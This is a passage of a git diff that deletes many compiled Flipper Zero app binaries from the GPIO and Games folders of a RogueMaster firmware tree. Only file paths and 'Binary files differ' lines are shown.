b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap deleted file mode 100644 index 2c97e8a2b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap deleted file mode 100644 index 5c042dad2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap deleted file mode 100644 index edabc0afc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap deleted file mode 100644 index 946ba8939..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap deleted file mode 100644 index 88c1bbdb7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap deleted file mode 100644 index 0c071291a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap deleted file mode 100644 index 443e4cfc1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap deleted file mode 100644 index b3065a521..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap deleted file mode 100644 index 7319238b5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap deleted file mode 100644 index f8d013ee1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap deleted file mode 100644 index 3469d99f4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap deleted file mode 100644 index 39a67ba63..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap deleted file mode 100644 index 5b84cbc8a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap deleted file mode 100644 index 264e08c9d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap deleted file mode 100644 index e1eb910cb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap deleted file mode 100644 index 6b2de7b92..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap deleted file mode 100644 index 7e3c8af55..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap deleted file mode 100644 index c6ed77ef5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap deleted file mode 100644 index 6b94d5a4a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap deleted file mode 100644 index 56031ceac..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap deleted file mode 100644 index 40ad743a5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap deleted file mode 100644 index 2fbfdecd8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap deleted file mode 100644 index fbac5761f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap deleted file mode 100644 index 521876e9b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap deleted file mode 100644 index ca1ce3e17..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap deleted file mode 100644 index 9defe3d48..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap deleted file mode 100644 index ba8166326..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap deleted file mode 100644 index ee8d710aa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap deleted file mode 100644 index 0c7ba32de..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap deleted file mode 100644 index ed136d5e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap deleted file mode 100644 index 7e1097de1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap deleted file mode 100644 index 9b44d54c5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap deleted file mode 100644 index beac84513..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap deleted file mode 100644 index a1e3b4e9d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap deleted file mode 100644 index 7735634ab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap deleted file mode 100644 index ce5b1e0c4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap deleted file mode 100644 index d333c889b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap deleted file mode 100644 index f95edb672..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap deleted file mode 100644 index 1fb2b52cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap deleted file mode 100644 index 6b1bf9952..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap deleted file mode 100644 index 3fd166c42..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap deleted file mode 100644 index 193f5d97b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap deleted file mode 100644 index db776275a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap deleted file mode 100644 index 6f6123335..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap deleted file mode 100644 index 0c83f75d1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap deleted file mode 100644 index 2a52930f1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap deleted file mode 100644 index e9f6f0a28..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap deleted file mode 100644 index 56190d92d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap deleted file mode 100644 index 72e4c7bee..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap deleted file mode 100644 index 175896219..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap deleted file mode 100644 index 4cc51b628..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap deleted file mode 100644 index 2cc8de748..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap deleted file mode 100644 index a4f9ac47f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap deleted file mode 100644 index 560a8a15d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap deleted file mode 100644 index afe4db778..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap deleted file mode 100644 index 6d6e1bb72..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap deleted file mode 100644 index 1f0367def..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap deleted file mode 100644 index 0eafdafef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap deleted file mode 100644 index e69a8646b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap deleted file mode 100644 index 0ec260398..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap deleted file mode 100644 index 16759f672..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap deleted file mode 100644 index 113976473..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap deleted file mode 100644 index 7718beffb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap deleted file mode 100644 index a4e397cab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap deleted file mode 100644 index 6e7532817..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap deleted file mode 100644 index 014a3b991..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap deleted file mode 100644 index 5138009a7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap deleted file mode 100644 index 5bdd8c1e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap deleted file mode 100644 index 3451f84a5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap deleted file mode 100644 index 1ba953969..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap deleted file mode 100644 index 4dda35078..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap deleted file mode 100644 index ee022dbd8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap deleted file mode 100644 index f7a4ed077..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap deleted file mode 100644 index 157652300..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap deleted file mode 100644 index 0935d1fcd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap deleted file mode 100644 index 5b2dacdf5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap deleted file mode 100644 index 56c02de06..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap deleted file mode 100644 index afc8b17ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap deleted file mode 100644 index 8905fe16e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap deleted file mode 100644 index a5f3b9238..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap deleted file mode 100644 index aa0b8448e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap deleted file mode 100644 index a2c033585..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap deleted file mode 100644 index f604cd141..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap deleted file mode 100644 index 43b57002c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap deleted file mode 100644 index c60543fb0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap deleted file mode 100644 index 3847f3d58..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap deleted file mode 100644 index e82f2ea7a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap deleted file mode 100644 index 17ca4e6c9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap deleted file mode 100644 index d0ef9dbc3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap deleted file mode 100644 index 81ad52d87..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap deleted file mode 100644 index e27b2f428..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap deleted file mode 100644 index 940df820a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap deleted file mode 100644 index 2bd13724e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap deleted file mode 100644 index 7d9a68579..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap deleted file mode 100644 index 1119746e0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap deleted file mode 100644 index fdc1281ac..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap deleted file mode 100644 index 2e25c98ca..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap deleted file mode 100644 index 0f0ede3bd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap deleted file mode 100644 index 3ae2fbe07..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap deleted file mode 100644 index f80b62444..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap and /dev/null differ diff --git a/Applications/Custom (UL, 